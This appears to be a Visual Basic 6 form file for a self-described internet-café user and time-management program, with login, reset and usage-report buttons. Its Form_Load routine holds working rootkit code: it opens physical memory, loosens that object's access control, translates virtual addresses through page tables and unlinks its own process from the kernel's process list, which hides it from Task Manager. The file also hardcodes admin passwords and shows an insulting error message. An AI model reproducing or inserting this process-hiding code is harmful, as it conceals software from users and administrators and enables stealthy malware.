form1.frm

这是本人编写的一个类似于网吧管理软件

Private Function OpenPhysicalMemory() As Long
    Dim Status As Long
    Dim PhysmemString As UNICODE_STRING
    Dim Attributes As OBJECT_ATTRIBUTES
    
    RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
    Attributes.Length = Len(Attributes)
    Attributes.RootDirectory = 0
    Attributes.ObjectName = VarPtr(PhysmemString)
    Attributes.Attributes = 0
    Attributes.SecurityDeor = 0
    Attributes.SecurityQualityOfService = 0
    
    Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
    If Status = STATUS_ACCESS_DENIED Then
        Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
        SetPhyscialMemorySectionCanBeWrited g_hMPM
        CloseHandle g_hMPM
        Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
    End If
    
    Dim lDirectoty As Long
    verinfo.dwOSVersionInfoSize = Len(verinfo)
    If (GetVersionEx(verinfo)) <> 0 Then
        If verinfo.dwPlatformId = 2 Then
            If verinfo.dwMajorVersion = 5 Then
                Select Case verinfo.dwMinorVersion
                    Case 0
                        lDirectoty = &H30000
                    Case 1
                        lDirectoty = &H39000
                End Select
            End If
        End If
    End If
    
    If Status = 0 Then
        g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
        If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
    End If
    
End Function

 

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
    Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
    Dim lTemp As Long
    
    VAddr = addr
    CopyMemory aByte(0), VAddr, 4
    lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))
    
    PGDE = BaseAddress + lTemp * 4
    CopyMemory PGDE, ByVal PGDE, 4
    
    If (PGDE And 1) <> 0 Then
        lTemp = PGDE And &H80
        If lTemp <> 0 Then
            PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
        Else
            PGDE = MapViewOfFile(g_hMPM, 4, 0, _
                                  PGDE And &HFFFFF000, _
                                &H1000)
            lTemp = (VAddr And &H3FF000) / (2 ^ 12)
            PTE = PGDE + lTemp * 4
            CopyMemory PTE, ByVal PTE, 4
            If (PTE And 1) <> 0 Then
                PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
                UnmapViewOfFile PGDE
            End If
        End If
    End If
    
    LinearToPhys = PAddr

End Function


Private Function GetData(addr As Long) As Long
    Dim phys As Long, tmp As Long, ret As Long
    
    phys = LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp = MapViewOfFile(g_hMPM, 4, 0, _
                         phys And &HFFFFF000, &H1000)
    If tmp <> 0 Then
        ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
        CopyMemory ret, ByVal ret, 4
        UnmapViewOfFile tmp
        GetData = ret
    End If
End Function


Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
    Dim phys As Long, tmp As Long, x As Long
    
    phys = LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, _
                        phys And &HFFFFF000, &H1000)
    If tmp <> 0 Then
        x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
        CopyMemory ByVal x, data, 4
        
        UnmapViewOfFile tmp
        SetData = True
    End If
End Function


Private Function ByteArrToLong(inByte() As Byte) As Double
    Dim I As Integer
    For I = 0 To 3
        ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)
    Next I
   
End Function


Private Sub Command1_Click()


For I = 1 To 6
If (a(I).name1 = Form1.Text1.Text) And (a(I).password = Form1.Text2.Text) And b(I).time < 119 Then cur = I: Form3.Show: Form3.Label1.Caption = "当前用户：" & a(cur).name1: Unload Form1: Exit Sub
Next I
MsgBox "贱比，密码错误，或 time is out!"
Form1.Text2.Text = ""
Text2.SetFocus

End Sub

Private Sub Command2_Click()
Dim pass As String
Text3.Text = ""
 pass = InputBox("输入密码")
 If pass <> "123321123" Then
 MsgBox "密码错误！"
 Exit Sub
 Else
 For I = 1 To 6
 a(I).name = InputBox("请输入姓名" & I)
 a(I).name1 = InputBox("请输入用户名" & I)
  a(I).password = InputBox("请输入密码" & I)
a(I).time = 0
Next I
Open App.Path & "\a.dat" For Random As #1
For I = 1 To 6
Put #1, I, a(I)
Next I
Close #1
MsgBox "重置完毕！"


End If
End Sub

Private Sub Command3_Click()
Dim all As Single
Form2.Show
Form2.Cls
Open App.Path & "\a.dat" For Random As #1
For I = 1 To 6
Get #1, I, a(I)
all = all + a(I).time
Next I
Close #1
For I = 1 To 6
Form2.Print
Form2.Print a(I).name; a(I).name1; " "; a(I).time; "  分钟"; "  占："; Format(a(I).time / all, "00.00%"): Print
Form1.Text3.Text = ""
Next I


End Sub

Private Sub Form_Click()
Beep







End Sub

Private Sub Form_Load()
Dim thread As Long, process As Long, fw As Long, bw As Long
    Dim strInfo As String

    Dim lOffsetFlink As Long
    Dim lOffsetBlink As Long
    Dim lOffsetPID As Long
    verinfo.dwOSVersionInfoSize = Len(verinfo)
    If (GetVersionEx(verinfo)) <> 0 Then
        If verinfo.dwPlatformId = 2 Then
            If verinfo.dwMajorVersion = 5 Then
                Select Case verinfo.dwMinorVersion
                    Case 0
                        lOffsetFlink = &HA0
                        lOffsetBlink = &HA4
                        lOffsetPID = &H9C
                    Case 1
                        lOffsetFlink = &H88
                        lOffsetBlink = &H8C
                        lOffsetPID = &H84
                End Select
            End If
        End If
    End If

    If OpenPhysicalMemory <> 0 Then
        thread = GetData(&HFFDFF124)
        strInfo = "thread: &H" & Hex(thread) & vbCrLf

        process = GetData(thread + &H44)
        strInfo = strInfo & "process: &H" & Hex(process) & vbCrLf


        fw = GetData(process + lOffsetFlink)
        strInfo = strInfo & "fw: &H" & Hex(fw) & vbCrLf

        bw = GetData(process + lOffsetBlink)
        strInfo = strInfo & "bw: &H" & Hex(bw) & vbCrLf

        SetData fw + 4, bw
        SetData bw, fw
        'MsgBox strInfo, , "pID=" & GetData(process + lOffsetPID)
        CloseHandle g_hMPM
    End If
App.TaskVisible = False
Form1.Top = (Screen.Height - Form1.Height) / 2
Form1.Left = (Screen.Width - Form1.Width) / 2
Form1.Show
Load Form4
Open App.Path & "\a.dat" For Random As #1
For I = 1 To 6
Get #1, I, a(I)
Next I
Close #1
Open App.Path & "\b.dat" For Random As #1
For I = 1 To 6
Get #1, I, b(I)
Next I
Close #1
If b(1).day <> day(Date) Then
For I = 1 To 6
b(I).time = 0
b(I).day = day(Date)
Next I
Open App.Path & "\b.dat" For Random As #1
For I = 1 To 6
Put #1, I, b(I)
Next I
Close #1
End If

End Sub

Private Sub Text3_Change()
If Text3.Text = "coldice212005" Then
Command2.Enabled = True: Command3.Enabled = True
Else
Command2.Enabled = False: Command3.Enabled = False
End If
End Sub